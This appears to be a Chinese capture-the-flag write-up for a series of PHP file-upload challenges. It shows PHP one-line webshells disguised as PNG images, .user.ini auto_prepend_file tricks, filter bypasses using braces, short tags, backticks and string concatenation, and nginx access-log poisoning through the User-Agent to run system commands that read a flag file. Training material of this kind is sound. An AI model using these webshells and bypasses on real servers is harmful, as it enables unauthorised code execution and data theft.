直接上传 png的图片马
然后抓包修改为php
a=system("ls /var/www/html");
a=system("cat /var/www/html/flag.php");
和151一样的方法也可以实现上传
- a=system("ls /var/www/html");
- a=system("cat /var/www/html/flag.php");
用之前的方式无法上传 我们使用其他后缀名看看
但是无法解析 访问就直接下载了 这个时候 我们可以使用 .user. ini
因为服务器是 nginx所以可以使用
auto_prepend_file = easy.png
解析 easy.png
先上传 user 发现有前端 那么我们就修改为 png
然后直接上传 easy.png
因为我们访问 upload目录的时候 会显示
说明存在index.php首页
所以我们通过 .user.ini 将 easy.png 类似 include进 index.php
进行解析 这样就会访问到我们的一句话木马
然后 我们访问/upload/index.php
- a=system("ls /var/www/html");
-
- a=system("cat /var/www/html/flag.php");
这里只是上传 png就报错
说明存在内容检测 多半是php格式的检测
我们可以使用其他的
- <?= eval($_POST[1]);?>
-
- <? eval($_POST[1]);?>
-
- <% eval($_POST[1]);%>
那我们看看能不能还可以使用 .user.ini
依然可以
使用上面的方法还是可以
发现又对内容进行过滤了
经过排查 发现是对 [] 进行过滤了 所以我们直接使用 {}即可绕过
= eval($_POST{1});?>
然后配合 user.ini 执行命令
这里我们可以发现 操作步骤和上面一样 但是在传犸的时候无法实现
经过一直删 发现 【】 {} ;
全被过滤了 那么木马就没办法了 但是可以通过短标签来执行system命令
- <?=
- system(ls)
- ?>
- <?=
- system('nl ../f*')
- ?>
和上面一样 可以直接读取
这里发现()也不好使了
我们可以使用`` 来执行命令
<?= `nl ../f*`?>
这里发现内联也无法实现了
我们想想看能不能直接包含日志 然后通过日志进行文件上传
发现无法实现
=include"/var/log/nginx/access.log"
这里我们开始删去内容 然后看看什么被过滤了 最后发现是log被过滤了
然后我们思考这里是传入字符串 所以可以通过 点 绕过
=include"/var/lo"."g/nginx/access.lo"."g"
成功上传
成功了 我们在ua上写入木马即可